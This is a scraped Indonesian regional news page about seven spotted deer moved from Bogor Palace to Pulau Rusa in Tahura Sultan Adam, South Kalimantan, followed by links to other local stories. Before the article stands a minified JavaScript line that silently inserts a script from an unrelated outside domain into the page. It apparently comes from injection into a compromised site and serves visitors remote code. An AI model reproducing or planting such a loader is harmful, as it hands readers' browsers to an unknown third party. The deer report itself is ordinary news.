(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Rusa tutul dari istana Bogor akhirnya tiba di Kalsel, pada Rabu (6/3). Kepala Dinas Kehutanan Provinsi Kalsel Hanif Faisol Nurofiq, pada hari itu juga, langsung membawa rusa tutul ke habituasi baru yang berada di Pulau Rusa, kawasan Tahura Sultan Adam.
Ikut serta menyertai kedatangan rusa tutul tersebut, seorang dokter hewan untuk memeriksa kondisi fisik dan psikis hewan penghuni istana Bogor itu. Diharapkan, agar rusa tutul ini dalam kondisi sehat hingga ceremonial pelepasannya pada Jumat (8/3) besok.
Setelah dilakukan pengecekan kesehatan dan pengambilan sampel feses oleh dokter hewan, rusa tutul tersebut dibawa ke Pulau Rusa Tahura Sultan Adam untuk di habituasi.
Sebelumnya Dinas Kehutanan Provinsi Kalsel telah memohon dan berkoordinasi ke Sekretariat Istana Kepresidenan Jakarta dan Istana Kepresidenan Bogor, perihal bantuan rusa tutul yang akan dilepasliarkan di Tahura Sultan Adam Kalimantan Selatan. Permohonan tersebut disambut baik oleh pihak Istana Bogor dan kalsel mendapat bantuan 7 ekor terdiri dari 2 ekor jantan dan 5 ekor betina.
Proses translokasi rusa tutul tersebut ternyata tidak semudah yang dibayangkan. Ada beberapa tahapan yang harus dilalui, misalnya harus ada persetujuan pemasokan satwa ke kalsel, Adanya Surat Angkut Tumbuhan dan Satwa Dalam Negeri (SATS-DN), sertifikat karantina dan yang lainnya, akan tetapi dengan semangat dan kerja keras Dinas Kehutanan Provinsi Kalsel akhirnya semua dapat dilalui tanpa ada kendalan sedikitpun.
Translokasi rusa tutul dari Kota Bogor Ke Banjarbaru memerlukan waktu kurang lebih 3 hari dengan menggunakan truck dan kapal laut. Kadishut Hanif juga mengawal langsung proses mobilisasi rusa ini. Dimulai dari Kantor Dishut, hingga sampai ke pulau rusa untuk memantau dan ikut pengecekan Rusa tutul ini bersama dokter hewan yang ditunjuk.
Selepas proses habituasi tersebut, Hanif juga memberikan arahan kepada pejabat Dinas Kehutanan dan Tahura Sultan Adam untuk terus memantau habitat dan kondisi fisik serta psikis rusa tutul tersebut. Menurut Hanif, Rosa tutul perlu diperhatikan pakan dan nutrisi, serta di jaga kesehatannya agar bisa cepat beradaptasi dihabitat baru. (ian/ksdae)
KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More
KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More
KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru tengah menggodok Rancangan Peraturan Daerah… Read More
This website uses cookies.